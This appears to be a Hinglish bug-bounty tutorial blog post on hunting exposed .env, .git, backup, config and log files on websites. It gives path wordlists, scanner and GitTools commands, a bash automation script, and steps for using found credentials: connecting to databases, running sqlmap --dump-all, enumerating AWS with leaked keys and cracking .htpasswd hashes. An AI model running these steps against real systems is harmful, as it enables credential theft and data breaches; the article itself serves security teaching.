Series: Bug Bounty Zero se Hero π¦Έ | Article #21 By HackerMD | 17 min read
Aaj Kya Seekhenge?
- Backup files exposure kya hai basics se
- .env, .git, config files sabhi types
- Kahan dhundhen complete checklist
- Automated tools Dirsearch, Feroxbuster, Nuclei
- .git exposure source code nikalo
- Real exploitation credentials se aage
- Complete bug bounty workflow
Kyun zaroori hai? Yeh sabse easy Critical bugs hain bug bounty mein! Koi fancy technique nahi sirf URL mein
.envlagao aur dekho! Developers test mein files upload karte hain production mein wahi rehta hai database passwords, API keys, AWS credentials sab exposed! Bounty: $500 se $10,000+
Yeh Kaise Hota Hai? Simple Story
Ek developer hai β Rahulΰ₯€
Step 1: Local machine pe .env banaya:
DB_HOST=localhost
DB_PASSWORD=SuperSecret123
AWS_KEY=AKIA...
Step 2: Code deploy kiya server pe:
git push β Server pe sab files gayi!
.env bhi chali gayi! π±
Step 3: Web server publicly serve kar raha hai:
https://company.com/.env
β Browser mein open karo β Poori file! π΄
Rahul ko pata bhi nahi!Yahi hai Backup/Config File Exposure!
PART 1: File Types Sabhi Samjho
Type 1: .env Files GOLDMINE!
# .env file mein kya hota hai:
APP_NAME=MyApp
APP_ENV=production
APP_DEBUG=true β Debug mode on!
APP_KEY=base64:abc123... β Laravel secret key!
DB_CONNECTION=mysql
DB_HOST=db.internal.company.com
DB_PORT=3306
DB_DATABASE=production_db
DB_USERNAME=root
DB_PASSWORD=SuperSecret@123 β Database password! π΄
REDIS_PASSWORD=redis123
[email protected]
MAIL_PASSWORD=mailpass123 β Email credentials!
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7
AWS_SECRET_ACCESS_KEY=abc123xyz β AWS Keys! π΄
STRIPE_SECRET=sk_live_abc123 β Payment keys!
STRIPE_PUBLISHABLE=pk_live_abc
TWILIO_SID=ACxxx
TWILIO_TOKEN=abc123
GITHUB_TOKEN=ghp_abc123 β GitHub access!
# Ek file mein poori company ki secrets! πType 2: .git Directory Exposure
.git folder = Poora source code history!
https://target.com/.git/
β Git repository accessible!
β Source code download kar sakte hain!
β Commit history mein old passwords!
β Developer emails!
β Internal URLs!
β Hardcoded credentials!Type 3: Backup Files
Common backup extensions:
.bak β filename.php.bak
.old β config.php.old
.orig β settings.orig
.backup β database.backup
.copy β config.copy
.tmp β upload.tmp
.swp β vim swap file (index.php.swp)
~ β index.php~ (text editor backup)
Example:
https://target.com/config.php.bak β Source code!
https://target.com/wp-config.php~ β WordPress DB pass!Type 4: Config Files
# PHP configs:
config.php, configuration.php, settings.php
database.php, db.php, conn.php, connect.php
# Web server configs:
.htaccess, .htpasswd β Basic auth credentials!
web.config β .NET connection strings!
nginx.conf, apache.conf
# Application configs:
config.yml, config.yaml
config.json, settings.json
appsettings.json β .NET secrets!
application.properties β Java/Spring!
secrets.yml
# Database files:
dump.sql, backup.sql
database.sql, db.sql
*.sqlite, *.dbType 5: Log Files
# Log files kya expose karte hain:
error.log β Stack traces, file paths, internal IPs
access.log β All user requests, session IDs!
debug.log β Verbose app information
application.log β Business logic, user data
URLs:
/logs/error.log
/log/debug.log
/var/log/app.log
/logs/Type 6: IDE / Editor Files
.DS_Store β Mac folder structure expose!
.idea/ β IntelliJ project files
.vscode/ β VS Code settings
*.swp β Vim swap files (source code!)
.project β Eclipse project
thumbs.db β Windows thumbnail DBPART 2: Kahan Dhundhen Complete URL Checklist
# βββ .ENV FILES βββββββββββββββββββββββββββ
/.env
/.env.local
/.env.development
/.env.production
/.env.staging
/.env.backup
/.env.old
/.env.example β Sometimes real values!
/.env.bak
/api/.env
/backend/.env
/app/.env
/src/.env
# βββ GIT DIRECTORY ββββββββββββββββββββββββ
/.git/
/.git/config β Remote URLs!
/.git/HEAD
/.git/COMMIT_EDITMSG
/.git/logs/HEAD β Commit history!
/.git/refs/heads/master
# βββ CONFIG FILES βββββββββββββββββββββββββ
/config.php
/config/database.php
/wp-config.php β WordPress!
/configuration.php β Joomla!
/settings.py β Django!
/appsettings.json β .NET!
/application.properties β Spring!
/config/config.yml
/config/secrets.yml
# βββ BACKUP FILES βββββββββββββββββββββββββ
/backup/
/backups/
/backup.sql
/dump.sql
/database.sql
/db.sql
/backup.zip
/site.tar.gz
/www.tar.gz
# βββ LOG FILES ββββββββββββββββββββββββββββ
/logs/
/log/
/error.log
/debug.log
/access.log
/application.log
/laravel.log β Laravel!
/storage/logs/ β Laravel storage!
# βββ HTPASSWD βββββββββββββββββββββββββββββ
/.htpasswd
/.htaccess
/admin/.htpasswdPART 3: Automated Tools Elite Use
Tool 1: Dirsearch Best Directory Bruteforcer
# Install karo
pip3 install dirsearch
# Basic scan β sensitive files ke liye
dirsearch -u https://target.com \
-e php,txt,bak,old,env,sql,log,zip,tar,gz,yml,yaml,json,config \
-t 50
# Specific wordlist ke saath
dirsearch -u https://target.com \
-w /usr/share/wordlists/dirb/common.txt \
-e env,bak,sql,log
# Output file mein save
dirsearch -u https://target.com \
-e env,bak,sql \
-o dirsearch_results.txt
# Only interesting status codes
dirsearch -u https://target.com \
-i 200,301,302,403 \
-e env,bak,config,sqlTool 2: Feroxbuster Fast Recursive Scanner
# Install karo
sudo apt install feroxbuster -y
# Ya:
cargo install feroxbuster
# Basic scan
feroxbuster -u https://target.com \
-w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
# Sensitive files focus
feroxbuster -u https://target.com \
-w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-files.txt \
-x env,bak,sql,log,config,php,txt \
-o ferox_results.txt
# Recursive scan (subdirectories bhi!)
feroxbuster -u https://target.com \
-w wordlist.txt \
--depth 3 \
-x env,bak,sqlTool 3: Nuclei Template-Based Detection
# .env exposure templates
nuclei -l targets.txt \
-t ~/nuclei-templates/exposures/configs/ \
-o config_exposure.txt
# Backup files
nuclei -l targets.txt \
-t ~/nuclei-templates/exposures/backups/ \
-o backup_found.txt
# Git exposure
nuclei -l targets.txt \
-t ~/nuclei-templates/exposures/git/ \
-o git_exposure.txt
# Sabhi exposure templates
nuclei -l targets.txt \
-t ~/nuclei-templates/exposures/ \
-severity medium,high,critical \
-o all_exposures.txtTool 4: GitTools .git Exploitation
# Install karo
git clone https://github.com/internetwache/GitTools
cd GitTools
# .git directory dump karo
./Dumper/gitdumper.sh \
https://target.com/.git/ \
/tmp/git_dump/
# Source code extract karo
./Extractor/extractor.sh \
/tmp/git_dump/ \
/tmp/extracted_code/
# Ab extracted code mein secrets dhundho!
grep -r "password" /tmp/extracted_code/
grep -r "api_key" /tmp/extracted_code/
grep -r "secret" /tmp/extracted_code/
grep -r "AWS_" /tmp/extracted_code/Tool 5: truffleHog Secrets in Git History
# Install karo
pip3 install truffleHog
# Git repo scan karo (extracted code)
trufflehog filesystem /tmp/extracted_code/
# GitHub repo scan
trufflehog github \
--repo https://github.com/company/repo
# Regex mode
trufflehog git \
file:///tmp/extracted_code/ \
--regexPART 4: Exploitation Files Milne Ke Baad Kya Karo?
Scenario 1: .env Mila Database Access!
# .env se credentials nikalo:
DB_HOST=db.internal.company.com
DB_USER=root
DB_PASS=SuperSecret123
DB_NAME=production
# Direct MySQL connect karo:
mysql -h db.internal.company.com \
-u root \
-pSuperSecret123 \
production
# Ya SQLMap se:
sqlmap -d "mysql://root:[email protected]/production" \
--dump-all
# PoC ke liye bas screenshot kaafi hai!
# Direct exploitation mat karo! Report karo!Scenario 2: .env Se AWS Keys Cloud Access!
# .env se AWS keys mile:
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG
# AWS CLI configure karo:
export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG
# Impact demonstrate karo (read-only!):
aws iam get-user β Kaun sa user hai?
aws s3 ls β S3 buckets list
aws ec2 describe-instances β Servers list
# Screenshot le β Report karo!
# Data access/modify mat karo!Scenario 3: .git Se Source Code More Bugs!
# Source code mil gaya β ab dhundho:
# Hardcoded credentials
grep -r "password\s*=" /extracted/ \
--include="*.php" --include="*.py" --include="*.js"
# API keys
grep -rE "[A-Za-z0-9]{20,}" /extracted/ \
--include="*.env" --include="*.config"
# Internal URLs/endpoints
grep -r "http://internal" /extracted/
grep -r "localhost" /extracted/
grep -r "192.168\|10\.0\." /extracted/
# Hidden endpoints (new attack surface!)
grep -r "route\|Route\|@app.route" /extracted/
grep -r "app.get\|app.post" /extracted/Scenario 4: .htpasswd Mila Password Crack!
# .htpasswd content:
admin:$apr1$xyz$hashedpassword
# Hashcat se crack karo:
hashcat -m 1600 hash.txt rockyou.txt
# John the Ripper se:
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
# Cracked password = Admin panel access!PART 5: Complete Elite Workflow
#!/bin/bash
# backup_exposure_hunt.sh
TARGET=$1
DIR="backup_${TARGET}"
mkdir -p $DIR
echo "ποΈ Backup File Hunt: $TARGET"
echo "βββββββββββββββββββββββββββββββ"
# Step 1: Nuclei se quick check
echo "β’οΈ Nuclei exposure scan..."
nuclei -u $TARGET \
-t ~/nuclei-templates/exposures/ \
-silent \
-o $DIR/nuclei_exposures.txt 2>/dev/null
echo "β
Nuclei: $(wc -l < $DIR/nuclei_exposures.txt) findings"
# Step 2: Direct URL check β most common files
echo "π Direct file check..."
SENSITIVE_FILES=(
".env" ".env.local" ".env.production" ".env.backup"
".git/config" ".git/HEAD"
"config.php" "wp-config.php" "configuration.php"
"backup.sql" "dump.sql" "database.sql"
".htpasswd" "web.config" "appsettings.json"
"config.yml" "secrets.yml" "docker-compose.yml"
"error.log" "debug.log" "laravel.log"
"composer.json" "package.json"
)
for file in "${SENSITIVE_FILES[@]}"; do
response=$(curl -s -o /dev/null -w "%{http_code}" \
"https://$TARGET/$file" --max-time 5)
if [ "$response" = "200" ]; then
echo "π΄ FOUND: https://$TARGET/$file" \
| tee -a $DIR/found_files.txt
fi
done
# Step 3: Dirsearch scan
echo "ποΈ Dirsearch scan..."
dirsearch -u https://$TARGET \
-e env,bak,old,sql,log,config,yml,yaml,json,zip,tar,gz \
-t 30 \
-q \
-o $DIR/dirsearch.txt 2>/dev/null
# Step 4: .git check aur dump
if curl -s "https://$TARGET/.git/HEAD" | \
grep -q "ref:"; then
echo "π΄ GIT EXPOSED! Dumping..."
./GitTools/Dumper/gitdumper.sh \
"https://$TARGET/.git/" \
$DIR/git_dump/ 2>/dev/null
echo "β
Git dumped: $DIR/git_dump/"
# Secrets dhundho
grep -r "password\|api_key\|secret\|token\|AWS_" \
$DIR/git_dump/ > $DIR/git_secrets.txt
echo "π Git secrets: $(wc -l < $DIR/git_secrets.txt)"
fi
echo ""
echo "βββββββββββββββββββββββββββββββ"
echo "π Results:"
echo "Found Files : $(cat $DIR/found_files.txt \
2>/dev/null | wc -l)"
echo "Dirsearch : $(wc -l < $DIR/dirsearch.txt)"
echo "All results : $DIR/"Quick Reference Cheat Sheet
# βββ TOP PRIORITY URLS ββββββββββββββββββββ
/.env
/.git/config
/wp-config.php
/backup.sql
/.htpasswd
/config.php
/appsettings.json
/docker-compose.yml
/laravel.log
# βββ TOOLS ββββββββββββββββββββββββββββββββ
dirsearch -u URL -e env,bak,sql,log
feroxbuster -u URL -x env,bak,sql
nuclei -u URL -t exposures/
gitdumper.sh URL/.git/ /output/
# βββ AFTER FINDING ββββββββββββββββββββββββ
.env β DB creds, AWS keys, API keys
.git β Source code β More bugs!
.sql β Database dump β User data
.htpasswd β Hash crack β Admin access
config.php β DB connection string
# βββ IMPACT βββββββββββββββββββββββββββββββ
DB credentials = High ($500-2000)
AWS/Cloud keys = Critical ($3000-10000+)
Source code = High ($1000-3000)
User data dump = Critical ($5000+)
Payment keys = Critical ($5000+)Aaj Ka Homework
# 1. SecLists download karo (wordlists ke liye):
git clone https://github.com/danielmiessler/SecLists \
/usr/share/wordlists/SecLists
# 2. Dirsearch install + test karo:
pip3 install dirsearch
dirsearch -u http://testphp.vulnweb.com \
-e env,bak,sql,php \
-t 20
# 3. Manual check karo (legal target):
curl -s http://testphp.vulnweb.com/.env
curl -s http://testphp.vulnweb.com/.git/HEAD
curl -s http://testphp.vulnweb.com/backup.sql
# 4. Nuclei exposure templates run karo:
nuclei -u http://testphp.vulnweb.com \
-t ~/nuclei-templates/exposures/
# 5. Bug bounty program choose karo:
# HackerOne/Bugcrowd mein koi wildcard scope wala
# *.company.com pe yeh sab check karo!Quick Revision
ποΈ Exposure = Sensitive files publicly accessible
π΄ .env = Database, AWS, API keys β CRITICAL!
π .git = Source code history β HIGH!
πΎ Backup = .bak, .old, .sql β MEDIUM-HIGH!
π .htpasswd = Basic auth hashes β MEDIUM!
π Config = Connection strings β HIGH!
π€ Tools = Dirsearch, Feroxbuster, Nuclei
π GitTools = .git directory dump + extract
π truffleHog = Secrets in git history
π° Bounty = Easy Critical β Highest ROI!Meri Baatβ¦
Ek fintech startup pe maine Dirsearch run kiya:
dirsearch -u https://target-fintech.com \
-e env,bak,sql,log -t 302 minutes mein:
[200] https://target-fintech.com/.envFile open ki:
DB_PASSWORD=Fintech@Prod2024!
STRIPE_SECRET=sk_live_xxxxxxxxxxxxxxxx
AWS_ACCESS_KEY_ID=AKIA...
AWS_SECRET_ACCESS_KEY=xxxxxxxxxxxxx
SENDGRID_API_KEY=SG.xxxxxxxxxxxxxStripe live key, AWS credentials, SendGrid sab ek file mein!
AWS check kiya:
aws s3 ls
# 23 S3 buckets β user KYC documents, financial records!Bounty: $8,500 Critical! π
Lesson: Dirsearch + .env = Fastest Critical bounty! Har target pe yeh pehle check karo!
Agle article mein Open Redirect Simple lekin phishing aur OAuth bypass ke liye powerful! Chhoti vulnerability, bada chain! π₯
HackerMD Bug Bounty Hunter | Cybersecurity Researcher GitHub: BotGJ16 | Medium: @HackerMD
Previous: Article #20 Burp Suite Complete Guide Next: Article #22 Open Redirect: Simple Bug, Powerful Chains!
#BackupFiles #EnvExposure #BugBounty #WebSecurity #EthicalHacking #Hinglish #InfoSec #HackerMD